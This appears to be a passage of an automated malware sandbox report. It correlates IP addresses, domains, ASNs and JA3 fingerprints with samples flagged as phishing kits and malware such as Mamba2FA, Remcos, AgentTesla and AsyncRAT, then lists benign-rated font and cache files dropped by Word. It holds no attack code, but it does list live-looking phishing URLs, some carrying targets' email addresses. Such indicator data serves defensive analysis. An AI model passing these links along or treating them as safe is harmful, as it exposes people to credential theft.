13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
217.160.0.215	Product List.exe	Get hash	malicious	FormBook	Browse	www.larmealoeil.com/chue/
13.107.246.44	https://www.cyfirma.com/research/exploiting-document-templates-stego-campaign-deploying-remcos-rat-and-agent-tesla/	Get hash	malicious	Unknown	Browse
	9160074916_Payoff_Statement.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://constructionbybricco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPWEwRlNjRzQ9JnVpZD1VU0VSMTgwOTIwMjRVMTYwOTE4MjQ=N0123N%5BEMAIL%5D	Get hash	malicious	Mamba2FA	Browse
	Remittance copy.shtml	Get hash	malicious	HTMLPhisher	Browse
	Swift Payment 20241014839374.vbs	Get hash	malicious	Remcos	Browse
	https://crazy-moments.com	Get hash	malicious	Unknown	Browse
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUMkdUS1ZSOU9NRVI2WU9PNk1FUzFMRTRBUS4u&sharetoken=hejMJEowqy4fkqmJD9lY	Get hash	malicious	HTMLPhisher	Browse
	https://core4ce-my.sharepoint.us/personal/bilal_hassan_core4ce_com/Documents/NIFI%20-%20Buy%20vs%20Build%202024.docx	Get hash	malicious	HTMLPhisher	Browse
	maybe scam.html	Get hash	malicious	HTMLPhisher	Browse
	ATT4416530006_Swissquote.htm	Get hash	malicious	HTMLPhisher	Browse
18.245.31.33	https://docsend.com/view/63jvhxyyj7pwxerg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://enkonooh.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9Ym1RNFV6RT0mdWlkPVVTRVIxMDEwMjAyNFUyMTEwMTAyNw==#	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://conta.cc/4eKKH8C	Get hash	malicious	Mamba2FA	Browse
	ATT037484_Msg#189815.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	EMPLOYEE APPRAISAL REVIEW FOR Alejandra.madrazo Q4 2024.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	(No subject) (86).eml	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://t.ly/DCHtL	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	Hi GoodMorning!_Ku_#5167631809.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://mariomuka.com/m/?c3Y9bzM2NV8xX3NwJnJhbmQ9YWpseE1GRT0mdWlkPVVTRVIwMTEwMjAyNFU0MjEwMDEzNA=#dkrasner@summitbhc.com	Get hash	malicious	Mamba2FA	Browse
	Hi_Goodmorning!_tel.com_#8593171100.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0016.t-0009.t-msedge.net	https://www.cyfirma.com/research/exploiting-document-templates-stego-campaign-deploying-remcos-rat-and-agent-tesla/	Get hash	malicious	Unknown	Browse	13.107.246.44
	9160074916_Payoff_Statement.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.44
	https://constructionbybricco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPWEwRlNjRzQ9JnVpZD1VU0VSMTgwOTIwMjRVMTYwOTE4MjQ=N0123N%5BEMAIL%5D	Get hash	malicious	Mamba2FA	Browse	13.107.246.44
	Remittance copy.shtml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	INQ-PORT_9290029992-pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.44
	Swift Payment 20241014839374.vbs	Get hash	malicious	Remcos	Browse	13.107.246.44
	https://crazy-moments.com	Get hash	malicious	Unknown	Browse	13.107.246.44
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUMkdUS1ZSOU9NRVI2WU9PNk1FUzFMRTRBUS4u&sharetoken=hejMJEowqy4fkqmJD9lY	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	Invoice.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.44
	https://core4ce-my.sharepoint.us/personal/bilal_hassan_core4ce_com/Documents/NIFI%20-%20Buy%20vs%20Build%202024.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
d2vgu95hoyrpkh.cloudfront.net	https://www.cognitoforms.com/f/Bj0I4KTKbkCO-wVp9VSRWQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.5
	https://docsend.com/view/63jvhxyyj7pwxerg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
	9160074916_Payoff_Statement.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.78
	https://enkonooh.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9Ym1RNFV6RT0mdWlkPVVTRVIxMDEwMjAyNFUyMTEwMTAyNw==#	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.78
	https://conta.cc/4eKKH8C	Get hash	malicious	Mamba2FA	Browse	18.245.31.89
	ATT037484_Msg#189815.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
	EMPLOYEE APPRAISAL REVIEW FOR Alejandra.madrazo Q4 2024.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
	Xfab BENEFIT ENROLLMENT GUIDE 2024.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.5
	https://constructionbybricco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPWEwRlNjRzQ9JnVpZD1VU0VSMTgwOTIwMjRVMTYwOTE4MjQ=N0123N%5BEMAIL%5D	Get hash	malicious	Mamba2FA	Browse	18.245.31.78
	https://alrsingenieria.com/o/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TkRoWVkxaz0mdWlkPVVTRVIxNTEwMjAyNFUyMDEwMTUxNQ==	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.89
cs837.wac.edgecastcdn.net	INVOICE_bwallman#E785IKK2.html	Get hash	malicious	HTMLPhisher	Browse	192.229.133.221
	https://www.cognitoforms.com/f/Bj0I4KTKbkCO-wVp9VSRWQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://docsend.com/view/63jvhxyyj7pwxerg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	9160074916_Payoff_Statement.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://enkonooh.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9Ym1RNFV6RT0mdWlkPVVTRVIxMDEwMjAyNFUyMTEwMTAyNw==#	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://conta.cc/4eKKH8C	Get hash	malicious	Mamba2FA	Browse	192.229.133.221
	ATT037484_Msg#189815.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	EMPLOYEE APPRAISAL REVIEW FOR Alejandra.madrazo Q4 2024.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	Xfab BENEFIT ENROLLMENT GUIDE 2024.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://constructionbybricco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPWEwRlNjRzQ9JnVpZD1VU0VSMTgwOTIwMjRVMTYwOTE4MjQ=N0123N%5BEMAIL%5D	Get hash	malicious	Mamba2FA	Browse	192.229.133.221
cdnjs.cloudflare.com	https://www.marketbeat.com/instant-alerts/nasdaq-meta-initiated-coverage-2024-10-11/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.docusign.net/Signing/EmailStart.aspx?a=3558ace5-2d0a-45eb-bffa-8ad199bab55c&etti=24&acct=a4d32e98-bf38-497e-a60e-014032ad5c6c&er=8da4f51f-1cd8-4901-90bc-3c1bb1a39ce2	Get hash	malicious	Phisher	Browse	104.17.25.14
	Remittance Advice Ck 34991.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://na4.docusign.net/Signing/EmailStart.aspx?a=943f47c1-68f1-4387-ae39-91f2830b86a0&etti=24&acct=e7f3e748-8206-4510-8315-0e64f8c91c9b&er=99aeb7e9-c08a-4462-99dc-389e7b080ab6	Get hash	malicious	Phisher	Browse	104.17.25.14
	http://www.bollywoodhungama.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://hermiklosfmer.invoicinglawyer.com/95jEN/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://www.google.co.nz/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Fkaspersky.email%2Frtwo%2FBNN4xBng2CqVSSiOCJMd5BzZ/YW1lc2thbXBsQGNiZXF1aXBtZW50LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Play.VN-_E_CQDM.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	INVOICE_bwallman#E785IKK2.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	carly.joseph@everbridge.com.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://www.marketbeat.com/instant-alerts/nasdaq-meta-initiated-coverage-2024-10-11/	Get hash	malicious	Unknown	Browse	20.157.119.2
	https://www.docusign.net/Signing/EmailStart.aspx?a=3558ace5-2d0a-45eb-bffa-8ad199bab55c&etti=24&acct=a4d32e98-bf38-497e-a60e-014032ad5c6c&er=8da4f51f-1cd8-4901-90bc-3c1bb1a39ce2	Get hash	malicious	Phisher	Browse	40.69.163.212
	https://click.pstmrk.it/3s/app.markup.io%2Finvite%2Faccept%2FGAelUtD0/OI9N/z2q4AQ/AQ/914fb818-2548-4566-aa09-a2d85ddc613b/2/KJFV2S8Gzw	Get hash	malicious	Unknown	Browse	150.171.27.10
	Remittance Advice Ck 34991.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://metrics.unitedigital.io/tagging/AUDIUS/ud_tagging_bundle.js.gz	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=943f47c1-68f1-4387-ae39-91f2830b86a0&etti=24&acct=e7f3e748-8206-4510-8315-0e64f8c91c9b&er=99aeb7e9-c08a-4462-99dc-389e7b080ab6	Get hash	malicious	Phisher	Browse	40.69.163.212
	ComSource Inc.pdf	Get hash	malicious	Unknown	Browse	13.107.136.10
	http://www.bollywoodhungama.com	Get hash	malicious	Unknown	Browse	13.107.246.67
	https://hermiklosfmer.invoicinglawyer.com/95jEN/	Get hash	malicious	Unknown	Browse	13.107.246.60
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://www.marketbeat.com/instant-alerts/nasdaq-meta-initiated-coverage-2024-10-11/	Get hash	malicious	Unknown	Browse	20.157.119.2
	https://www.docusign.net/Signing/EmailStart.aspx?a=3558ace5-2d0a-45eb-bffa-8ad199bab55c&etti=24&acct=a4d32e98-bf38-497e-a60e-014032ad5c6c&er=8da4f51f-1cd8-4901-90bc-3c1bb1a39ce2	Get hash	malicious	Phisher	Browse	40.69.163.212
	https://click.pstmrk.it/3s/app.markup.io%2Finvite%2Faccept%2FGAelUtD0/OI9N/z2q4AQ/AQ/914fb818-2548-4566-aa09-a2d85ddc613b/2/KJFV2S8Gzw	Get hash	malicious	Unknown	Browse	150.171.27.10
	Remittance Advice Ck 34991.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://metrics.unitedigital.io/tagging/AUDIUS/ud_tagging_bundle.js.gz	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=943f47c1-68f1-4387-ae39-91f2830b86a0&etti=24&acct=e7f3e748-8206-4510-8315-0e64f8c91c9b&er=99aeb7e9-c08a-4462-99dc-389e7b080ab6	Get hash	malicious	Phisher	Browse	40.69.163.212
	ComSource Inc.pdf	Get hash	malicious	Unknown	Browse	13.107.136.10
	http://www.bollywoodhungama.com	Get hash	malicious	Unknown	Browse	13.107.246.67
	https://hermiklosfmer.invoicinglawyer.com/95jEN/	Get hash	malicious	Unknown	Browse	13.107.246.60
AMAZON-02US	https://www.marketbeat.com/instant-alerts/nasdaq-meta-initiated-coverage-2024-10-11/	Get hash	malicious	Unknown	Browse	52.19.196.164
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.48
	https://www.docusign.net/Signing/EmailStart.aspx?a=3558ace5-2d0a-45eb-bffa-8ad199bab55c&etti=24&acct=a4d32e98-bf38-497e-a60e-014032ad5c6c&er=8da4f51f-1cd8-4901-90bc-3c1bb1a39ce2	Get hash	malicious	Phisher	Browse	44.238.20.84
	https://click.pstmrk.it/3s/app.markup.io%2Finvite%2Faccept%2FGAelUtD0/OI9N/z2q4AQ/AQ/914fb818-2548-4566-aa09-a2d85ddc613b/2/KJFV2S8Gzw	Get hash	malicious	Unknown	Browse	13.224.189.74
	Remittance Advice Ck 34991.html	Get hash	malicious	HTMLPhisher	Browse	13.33.187.68
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	52.222.236.80
	https://na4.docusign.net/Signing/EmailStart.aspx?a=943f47c1-68f1-4387-ae39-91f2830b86a0&etti=24&acct=e7f3e748-8206-4510-8315-0e64f8c91c9b&er=99aeb7e9-c08a-4462-99dc-389e7b080ab6	Get hash	malicious	Phisher	Browse	52.40.33.218
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.23
DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	H#4051-5353.vbs	Get hash	malicious	AsyncRAT	Browse	122.201.127.73
	http://chwcs91azo1jf8f6b6acu6sf7da7lxazxwg6fo8epa.sbxaccountants.com.au/	Get hash	malicious	Captcha Phish	Browse	203.170.87.121
	H#0813-186765.vbs	Get hash	malicious	AsyncRAT	Browse	122.201.127.73
	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&why=7WZIz&xf=y&jxwh=7WZIz&xtzwhj=&hi=7WZIz&zfhy=&zwq=frudxdjAjsynslgfxj.htr.fzd.oflfd___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo5MTJhYWJjZjBjZWQ3YTE3MzliOWViMjI2OTgzNmFjODo3OmFiMTk6M2MwNmNjYzRlYzBhY2Q2MTg4MWQ5YTMxZDNlZTRiZmFmOTNhMjg1NDIzMDkzM2QyMzQ2MzYzY2Q5NzJhMDgxYTpoOlQ6VA#cnlhbkBsaW5jb2xubWFpbmVmY3UuY29t	Get hash	malicious	Unknown	Browse	163.47.73.97
	http://share581680880819.mycls.com.au/109533386504871408407795xbixgen-pgx-211995313699-ifxcvittoria-isxbgcg.orgsf-1038183551929	Get hash	malicious	Unknown	Browse	203.170.87.17
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	203.28.49.249
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	203.28.49.249
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	203.28.49.249
	na.elf	Get hash	malicious	Gafgyt	Browse	27.54.90.221
ONEANDONE-ASBrauerstrasse48DE	EMnyl2klUV.elf	Get hash	malicious	Mirai	Browse	217.160.45.92
	4ui8luUSNp.exe	Get hash	malicious	Coinhive, Xmrig	Browse	212.227.15.41
	file.exe	Get hash	malicious	Nanocore	Browse	82.165.0.52
	https://myabd.co.uk/main/arull.php?7088797967704b53693230746376534d744a54552f5654556f745373777631697371316263494d676b7831516341example.test@test.com	Get hash	malicious	Unknown	Browse	217.160.0.3
	EMPLOYEE APPRAISAL REVIEW FOR Alejandra.madrazo Q4 2024.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	217.160.0.35
	https://alrsingenieria.com/o/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TkRoWVkxaz0mdWlkPVVTRVIxNTEwMjAyNFUyMDEwMTUxNQ==	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	217.160.0.35
	Ref 4437f1621b4d3c86c805c7d643da22620c938c1e.html	Get hash	malicious	Mamba2FA	Browse	217.160.0.35
	jeez.exe	Get hash	malicious	FormBook	Browse	217.160.0.207
	doc-Impostos.cmd	Get hash	malicious	Unknown	Browse	212.227.91.231

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://daditudehub.com/?bypass-cdn=1	Get hash	malicious	Unknown	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50
	https://url6.mailanyone.net/scanner?m=1sJdcn-00066a-5L&d=4%7Cmail%2F90%2F1718735400%2F1sJdcn-00066a-5L%7Cin6o%7C57e1b682%7C9862810%7C9895322%7C6671D2A9D5E8CBE4BA7AD963BA80AE39&o=%2Fphtp%3A%2Fstsiaectponil%2Ften.&s=r8DnnBsR0-04oskybCA7E0lSzWQ	Get hash	malicious	Unknown	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50
	https://www.marketbeat.com/instant-alerts/nasdaq-meta-initiated-coverage-2024-10-11/	Get hash	malicious	Unknown	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50
	SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Get hash	malicious	BlackMoon	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50
	http://juupl.alferdaws-center.com/4BuQTp17639YaIh368htsqzgjcla31568MKNWHUCVCNUEJJP15035DSYB17331f12	Get hash	malicious	Unknown	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50
	SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Get hash	malicious	BlackMoon	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50
	https://click.pstmrk.it/3s/app.markup.io%2Finvite%2Faccept%2FGAelUtD0/OI9N/z2q4AQ/AQ/914fb818-2548-4566-aa09-a2d85ddc613b/2/KJFV2S8Gzw	Get hash	malicious	Unknown	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50
	Remittance Advice Ck 34991.html	Get hash	malicious	HTMLPhisher	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50
	https://metrics.unitedigital.io/tagging/AUDIUS/ud_tagging_bundle.js.gz	Get hash	malicious	Unknown	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50
	https://www.seokaos.com/	Get hash	malicious	Unknown	Browse	20.190.160.14 173.222.162.55 13.107.246.45 20.12.23.50

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (1869), with no line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.080685244351338
Encrypted:	false
SSDEEP:	48:cGvdSyrqnzytdy3dy1SyrRnzyrdnzyrJdnzyXASyjdyEJdydkSyO:Xdbe2tE3E1bt2x2Fd2XAbjEOEqbO
MD5:	4255D231A45F4F6881AFDF1FEC6C8284
SHA1:	44D47D2A1CEBD580EEDEE6C9CB2B491D9C2CDF78
SHA-256:	EFEF059541F9D82606B66C7C02F08707B9152A781EC1C60340FBA46E0EE16C7B
SHA-512:	63BEA47A965B55A77C7C5E1CA1ECD8D1C139215F85A7B09D56BC9EC274F893349CFEE5C3AD7EB1DB77E6678053D4D6002898CA3A73C605D54A495FB82EEFA8C5
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>12</Count><Resource><Id>Aptos Narrow_26215424</Id><LAT>2023-10-05T10:22:09Z</LAT><key>31558910439.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_45876480</Id><LAT>2023-10-05T10:22:09Z</LAT><key>30264859306.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos_45876480</Id><LAT>2024-10-18T22:13:53Z</LAT><key>27160079615.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos_26215680</Id><LAT>2024-10-18T22:13:53Z</LAT><key>29939506207.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876224</Id><LAT>2023-10-05T10:22:09Z</LAT><key>24153076628.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215682</Id><LAT>2023-10-05T10:22:09Z</LAT><key>28367963232.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JSON data
Category:	dropped
Size (bytes):	521377
Entropy (8bit):	4.9084889265453135
Encrypted:	false
SSDEEP:	3072:gdTb5Sb3F2FqSrfZm+CnQsbzxZO7aYb6f5780K2:wb5q3umBnzT
MD5:	C37972CBD8748E2CA6DA205839B16444
SHA1:	9834B46ACF560146DD7EE9086DB6019FBAC13B4E
SHA-256:	D4CFBB0E8B9D3E36ECE921B9B51BD37EF1D3195A9CFA1C4586AEA200EB3434A7
SHA-512:	02B4D134F84122B6EE9A304D79745A003E71803C354FB01BAF986BD15E3BA57BA5EF167CC444ED67B9BA5964FF5922C50E2E92A8A09862059852ECD9CEF1A900
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"MajorVersion":4,"MinorVersion":40,"Expiration":14,"Fonts":[{"a":[4294966911],"f":"Abadi","fam":[],"sf":[{"c":[1,0],"dn":"Abadi","fs":32696,"ful":[{"lcp":983041,"lsc":"Latn","ltx":"Abadi"}],"gn":"Abadi","id":"23643452060","p":[2,11,6,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":26215680},{"c":[1,0],"dn":"Abadi Extra Light","fs":22180,"ful":[{"lcp":983042,"lsc":"Latn","ltx":"Abadi Extra Light"}],"gn":"Abadi Extra Light","id":"17656736728","p":[2,11,2,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":13108480}]},{"a":[4294966911],"f":"ADLaM Display","fam":[],"sf":[{"c":[536870913,0],"dn":"ADLaM Display Regular","fs":140072,"ful":[{"lcp":983040,"lsc":"Latn","ltx":"ADLaM Display"}],"gn":"ADLaM Display","id":"31965479471","p":[2,1,0,0,0,0,0,0,0,0],"sub":[],"t":"ttf","u":[2147491951,1107296330,0,0],"v":131072,"w":26215680}]},{"a":[4294966911],"f":"Agency FB","fam":[],"sf":[{"c":[536870913,0],"dn":"Agency FB Bold","fs":54372,"ful":[{"lcp":9830

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	TrueType Font data, 10 tables, 1st "OS/2", 7 names, Microsoft, language 0x409, \251 2018 Microsoft Corporation. All Rights Reserved.msofp_4_40RegularVersion 4.40;O365
Category:	dropped
Size (bytes):	773040
Entropy (8bit):	6.55939673749297
Encrypted:	false
SSDEEP:	12288:Zn84XULLDs51UJQSOf9VvLXHyheIQ47gEFGHtAgk3+/cLQ/zhm1kjFKy6Nyjbqq+:N8XPDs5+ivOXgo1kYvyz2
MD5:	4296A064B917926682E7EED650D4A745
SHA1:	3953A6AA9100F652A6CA533C2E05895E52343718
SHA-256:	E04E41C74D6C78213BA1588BACEE64B42C0EDECE85224C474A714F39960D8083
SHA-512:	A25388DDCE58D9F06716C0F0BDF2AEFA7F68EBCA7171077533AF4A9BE99A08E3DCD8DFE1A278B7AA5DE65DA9F32501B4B0B0ECAB51F9AF0F12A3A8A75363FF2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	........... OS/29....(...`cmap.s.,.......pglyf..&....\|....head2..........6hheaE.@v.......$hmtx...........@loca.U.....8...Dmaxp........... name.P+........post...<...... .........b~1_.<...........<......r......Aa...................Q....Aa....Aa.........................~...................................................3..............................MS .@.......(...Q................. ...........d...........0...J.......8.......>..........+a..#...,................................................/...K.......z...............N.........!...-...+........z.......h..%^..3...&j..+...+%..'R..+..."....................k......$A...,.......g...&...=.......X..&..............&....B..(B...............#.......j...............+...P...5...@...)..........#...)Q..................{.. ....?..'...#....N...7......<...;>.............. ]...........5......#....s.......$.......$.......^..................+...>....H.......%...7.......6.......O...V...........K......"........c...N......!...............$...&...p..

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8439663259035255
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxGi1Uxl9Il8ulciQ38eald1rc:vtWYDciS8el
MD5:	3C8257417190207CD543BDA41A7C02A8
SHA1:	A83127DDD296E821164C83F5EFB3A40A1B73A782
SHA-256:	85A3EBF653425D9B18B8842629917C00896DBA6F5280EBD3E22B729ABA386C5B
SHA-512:	C34D66E40A516C99CE4C33FF71FC687A7BC70F767C49A0E5DC25B9428FAE0FB3AF8294B5322917DC7451C4AA647539F1A8B57FCC6376E803441DFC740B61238C
Malicious:	false
